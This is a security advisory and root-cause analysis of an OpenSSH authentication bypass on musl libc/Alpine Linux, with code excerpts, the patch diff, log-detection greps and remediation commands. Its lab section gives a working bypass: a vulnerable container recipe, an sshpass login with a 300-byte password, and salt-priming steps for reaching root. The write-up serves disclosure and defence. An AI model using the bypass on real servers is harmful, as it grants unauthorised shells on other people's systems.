CVE-2026-123158 ("*sshole"): Inside the OpenSSH + musl libc Authentication Bypass Unlocking * Shadow Accounts on Alpine Linux
Code-level root cause analysis, connection-state salt-borrowing mechanics, and detection engineering telemetry for CVE-2026-123158 ("*sshole"), the CVSS 8.1 pre-authentication OpenSSH bypass on musl libc and Alpine Linux.
CVE-2026-123158 ("*sshole" / "sshhole") (CWE-287 Improper Authentication & CWE-252 Unchecked Error Sentinel)
Severity: HIGH (PRE-AUTH REMOTE SSH AUTHENTICATION BYPASS) (CVSS 8.1 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H))
Threat Actor: Discovered by ΓzgΓΌn KΓΌltekin (Disclosed November 5, 2026)
Status: Public Root-Cause & PoC Disclosed; Emergency Distro Updates Live
Affected Systems: OpenSSH < 10.6p2 linked against musl libc with UsePAM no & PasswordAuthentication yes (Alpine Linux 3.16β3.24 & edge, Void musl, OpenWrt, Buildroot, Yocto)
Fixed In: OpenSSH 10.6p2 (Alpine Linux 3.21.10 / 3.22.8 / 3.23.8 / 3.24.4 & 3.16β3.20 backports)
Minimalist Linux distributionsβled by Alpine Linuxβform the foundation of modern Docker containers, Kubernetes pods, edge routers, and lightweight cloud virtual machines precisely because they replace the sprawling GNU C Library (glibc) with the compact musl libc and run sshd directly against /etc/shadow without Pluggable Authentication Modules (UsePAM no). On November 5, 2026, security researcher ΓzgΓΌn KΓΌltekin disclosed "*sshole" (CVE-2026-123158, CVSS 8.1), a critical pre-authentication logic flaw born from a decade-old three-way sentinel collision between /etc/shadow, OpenSSHβs 2016 anti-enumeration timing patch (CVE-2016-6210), and musl libcβs crypt() error handler. By sending any arbitrary password between 257 and 1,024 bytes long, an unauthenticated remote attacker can force muslβs SHA-256/SHA-512 crypt() implementation to fail and return the literal 1-character string "*"βwhich OpenSSHβs sys_auth_passwd() directly compares against the "*" stored in /etc/shadow for password-disabled or SSH-key-only accounts, evaluating strcmp("*", "*") == 0 and granting an immediate interactive shell.

1. Am I Vulnerable? The Four Required Preconditions
CVE-2026-123158 does not affect standard glibc-based enterprise distributions (Ubuntu, Debian, RHEL, Fedora, SUSE) or systems where OpenSSH delegates password verification to PAM (UsePAM yes). Instead, an OpenSSH server (< 10.6p2) is exposed if and only if all four of the following conditions hold simultaneously:
| Precondition | Architectural Role in the Exploit Chain | Default on Alpine Linux? |
|---|---|---|
1. Linked against musl libc |
On error (such as a password > 256 bytes), muslβs crypt() returns a literal 1-byte asterisk ("*"), whereas glibc / libxcrypt returns a 2-byte salt-aware failure token ("*0" or "*1") that can never equal "*". |
YES ( musl is Alpine's native C library) |
2. UsePAM no in sshd |
Forces sshd to verify passwords internally via sys_auth_passwd() in auth-passwd.c instead of handing off to pam_unix.so (which rejects * shadow entries up front). |
YES (Alpine's default openssh-server package does not use PAM) |
3. PasswordAuthentication yes |
Allows remote clients to invoke the SSH password authentication method (SSH2_MSG_USERAUTH_REQUEST). |
YES (OpenSSH default unless explicitly disabled in sshd_config) |
4. Target Account Has * in /etc/shadow + Local $5$/$6$ Donor |
The target userβs shadow field must be * (password login disabled / SSH-key-only), and at least one local account must have a $5$ (SHA-256) or $6$ (SHA-512) password hash for pick_salt() to borrow. |
COMMON (Standard in cloud-init/container images with key-only admin or service accounts) |
2. Execution Pipeline Overview: A Three-Way Sentinel Collision
Rather than a single buggy line of code, *sshole is a textbook emergent vulnerability created by three independent subsystemsβwritten years apartβthat each used the single-character string "*" as an in-band sentinel for a different concept:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Attacker SSH Client (Pre-Auth) β
β Sends SSH2_MSG_USERAUTH_REQUEST (method: "password") β
β Target User: "deploy" (or "root") β Password: "A" * 300 (257..1024B)β
ββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OpenSSH auth-passwd.c :: sys_auth_passwd() β
β 1. Checks strlen(password) <= MAX_PASSWORD_LEN (1024) βββΊ PASS β
β 2. Fetches target's /etc/shadow field: pw_password = "*" β
β 3. Calls xcrypt(password, "*") in openbsd-compat/xcrypt.c β
ββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OpenSSH openbsd-compat/xcrypt.c :: pick_salt() (2016) β
β β’ Added for CVE-2016-6210 to prevent user-enumeration timing leaks β
β β’ Sees pw_password ("*") is not a valid multi-char hash salt β
β β’ Borrows a real "$6$..." (SHA-512) or "$5$..." salt from another β
β local account in /etc/shadow so crypt() burns realistic CPU time β
ββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β musl libc src/crypt/crypt_sha512.c :: __crypt_sha512() β
β β’ Enforces #define KEY_MAX 256 to prevent DoS via long passwords β
β β’ size_t klen = strnlen(key, KEY_MAX + 1); β
β β’ Because 300 > 256, sha512crypt() aborts and returns NULL (0) β
β β’ __crypt_sha512() error handler returns static string: "*" β
ββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Catastrophic Sentinel Match in auth-passwd.c β
β β’ encrypted_password = "*" (from musl crypt() error return) β
β β’ pw_password = "*" (from /etc/shadow passwordless marker) β
β β’ strcmp("*", "*") == 0 βββΊ AUTHENTICATION SUCCEEDED! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ3. Code-Level Root Cause Analysis
Ingredient 1: /etc/shadow and the Dual Semantics of ! vs. *
In Linuxβs /etc/shadow, the second colon-separated field stores either a formatted cryptographic hash ($id$salt$hash) or an account-state sentinel:
root:$6$rounds=65536$K9x2mP1a$7f9e2b8c...:20763:0:99999:7:::
deploy:*:20763:0:99999:7:::
sshd:!:20763:0:99999:7:::While both ! and * disable password-based login according to shadow(5), OpenSSH treats them differently during pre-authentication checks in auth.c (allowed_user()):
!(Locked Account): Whenpasswd -llocks an account, it prefixes the hash field with!. On many non-PAM platforms (viaLOCKED_PASSWD_PREFIX),allowed_user()explicitly rejects accounts whosesp_pwdpstarts with!before authentication even begins.*(Passwordless / Key-Only Account): Setting the shadow field to*means "no password hash exists for this account, so password authentication can never match, but the account itself remains active for SSH public keys, cron jobs, anddoas/sudo." Alpine cloud images, DevOps provisioning roles, and container Dockerfiles routinely create administrative or deployment accounts with*in/etc/shadow.
For over thirty years, storing * in /etc/shadow relied on one implicit invariant: crypt(password, salt) must never output the 1-character string "*".
Ingredient 2: musl libc's KEY_MAX (256) Guard and the "*" Error Token (2012)
Because legacy POSIX crypt(3) was historically called inside strcmp(crypt(pass, salt), stored_hash) without checking for a NULL pointer return, C libraries return a non-NULL "unmatchable" sentinel string when crypt() fails. In glibc and libxcrypt, that failure token is carefully constructed to never match the input salt (returning "*0" or "*1"). musl libc, however, implemented a simpler failure return in src/crypt/crypt_sha512.c and src/crypt/crypt_sha256.c:
/* musl libc: src/crypt/crypt_sha512.c */
#define KEY_MAX 256
#define SALT_MAX 16
static char *sha512crypt(const char *key, const char *setting, char *output)
{
/* ... */
/* Rejects any candidate password longer than 256 bytes! */
klen = strnlen(key, KEY_MAX+1);
if (klen > KEY_MAX)
return 0;
/* ... */
}
char *__crypt_sha512(const char *key, const char *setting, char *output)
{
static const char testkey[] = "Xy01@#\x01\x02\x80\x7f\xff\r\n\x81\t !";
static const char testsetting[] = "$6$rounds=1234$abc0123456789$";
/* ... */
p = sha512crypt(key, setting, output);
/* If sha512crypt() returns 0 (NULL), return literal "*"! */
if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
return "*";
return p;
}__crypt_sha512 -> "*")
Whenever __crypt_sha512() or __crypt_sha256() on musl libc is handed a candidate password with strlen(key) > 256, sha512crypt() aborts and returns 0 (NULL), causing __crypt_sha512() to return the static 1-character string "*"βthe exact same string used in /etc/shadow to denote a passwordless account!Ingredient 3: OpenSSH's pick_salt() Anti-Enumeration Defense (2016)
Still, if a target user's shadow field is "*", why does musl enter __crypt_sha512() in the first place? Because in 2016, OpenSSH patched CVE-2016-6210 (a user-enumeration timing side-channel). When a target account has an invalid salt like "*" in /etc/shadow, OpenSSH's xcrypt() in openbsd-compat/xcrypt.c calls pick_salt() to borrow a real $5$ or $6$ salt from another local account on the machine so the CPU spends the same amount of time hashing the candidate password:
/* OpenSSH: auth-passwd.c (prior to 10.6p2) */
#define MAX_PASSWORD_LEN 1024
int
sys_auth_passwd(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
char *encrypted_password, *salt = NULL;
const char *pw_password = authctxt->valid ? shadow_pw(pw) : "\b";
int ok = authctxt->valid;
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
/* Calls xcrypt(password, "*") -> pick_salt() borrows "$6$..."
* -> musl __crypt_sha512(password_257B, "$6$...") returns "*"! */
if ((encrypted_password = xcrypt(password, pw_password)) == NULL)
return 0;
/* strcmp("*", "*") == 0 -> Returns ok (1)! */
if (strcmp(encrypted_password, pw_password) == 0)
return ok;
return 0;
}pick_salt() Connection-State Nuance
If root has a $6$ password hash in /etc/shadow, pick_salt() borrows root's salt immediately on the first login attempt against any key-only (*) user. If root itself is set to * and another local user (e.g., admin) has a $6$ hash, probing the salted user first or allowing pick_salt() to scan /etc/shadow primes the $6$ saltβallowing an attacker to unlock root:* directly when PermitRootLogin yes is enabled.4. Lab Reproduction & Exploit Walkthrough
In an authorized lab environment running an unpatched Alpine container (openssh-server < 10.6p2), we can reproduce the vulnerability in two steps:
# Vulnerable Lab Environment β Alpine Linux with openssh-server < 10.6p2
FROM alpine:3.20
RUN apk add --no-cache openssh-server doas && \
ssh-keygen -A && \
# 1. Create a standard local user with a SHA-512 ($6$) password hash (Salt Donor)
adduser -D localuser && echo "localuser:ComplexPass!2026" | chpasswd -c sha512 && \
# 2. Create a key-only admin account with '*' in /etc/shadow
adduser -D deploy && \
sed -i 's/^deploy:!:/deploy:*:/' /etc/shadow && \
echo "permit nopass deploy as root" > /etc/doas.d/deploy.confFrom the test client, force password authentication and supply any 300-byte string (257 <= len <= 1024):
# Generate a 300-byte candidate password (> KEY_MAX 256, <= MAX_PASSWORD_LEN 1024)
PASS=$(python3 -c 'print("A" * 300)')
sshpass -p "$PASS" ssh \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
[email protected]5. How OpenSSH 10.6p2 Patches the Vulnerability (MIN_PASSWORD_HASH_LEN)
On November 5, 2026, the OpenSSH project released OpenSSH 10.6p2 with a defense-in-depth check in auth-passwd.c. Rather than assuming crypt() will never return "*" or "!", sys_auth_passwd() now enforces a minimum hash length (MIN_PASSWORD_HASH_LEN 4) on both encrypted_password and pw_password after running xcrypt()βeliminating the sentinel collision while preserving constant-time dummy hashing:
--- a/auth-passwd.c
+++ b/auth-passwd.c
@@ -66,6 +66,7 @@
/* Maximum length of password that we will accept */
#define MAX_PASSWORD_LEN 1024
+#define MIN_PASSWORD_HASH_LEN 4
extern struct sshbuf *loginmsg;
extern ServerOptions options;
@@ -217,6 +218,10 @@ sys_auth_passwd(struct ssh *ssh, const char *password)
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
#endif
+ if (strlen(encrypted_password) < MIN_PASSWORD_HASH_LEN ||
+ strlen(pw_password) < MIN_PASSWORD_HASH_LEN)
+ ok = 0;
+
if (strcmp(encrypted_password, pw_password) == 0)
return ok;
return 0;6. Indicators to Check For (IOCs) & Detection Engineering
* in /etc/shadow has no valid password, any sshd[...]: Accepted password for <user> log event where <user>'s shadow entry is * is conclusive evidence of CVE-2026-123158 exploitation.
Salt-Priming Connection Sequences: Look for a single source IP generating a Failed password for <salted_user> event immediately followed by an Accepted password for <star_user> event within the same connection stream.
Container & VM Image Drift: Scan base images and running Kubernetes pods via ojo image / ojo fs for Alpine openssh-server packages prior to 10.6p2 (or Alpine distro revisions < 3.21.10, < 3.22.8, < 3.23.8, < 3.24.4).
7. Remediation & Fleet Audit Commands
# 1. Hunt /var/log/messages and /var/log/auth.log for password logins to '*' accounts:
for user in $(awk -F: '$2 == "*" {print $1}' /etc/shadow 2>/dev/null); do
grep -En "sshd\[[0-9]+\]: Accepted password for ${user} from " \
/var/log/messages* /var/log/auth.log* 2>/dev/null
done
# 2. Remediate OpenSSH "*sshole" (CVE-2026-123158) on Alpine Linux & Containers:
apk update && apk upgrade -U -a
rc-service sshd restart # CRITICAL: Restart running sshd daemon!
ssh -V # Verify OpenSSH_10.6p2 or patched Alpine package
# 3. Immediate Workaround if sshd cannot be upgraded right away:
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#*KbdInteractiveAuthentication.*/KbdInteractiveAuthentication no/' /etc/ssh/sshd_config
sshd -t && rc-service sshd restart
# 4. Audit /etc/shadow for accounts with '*' alongside accounts with '$5$'/'$6$':
awk -F: '$2 == "*" {print "Locked-* account:", $1} $2 ~ /^\$[56]\$/ {print "Salted account:", $1}' /etc/shadow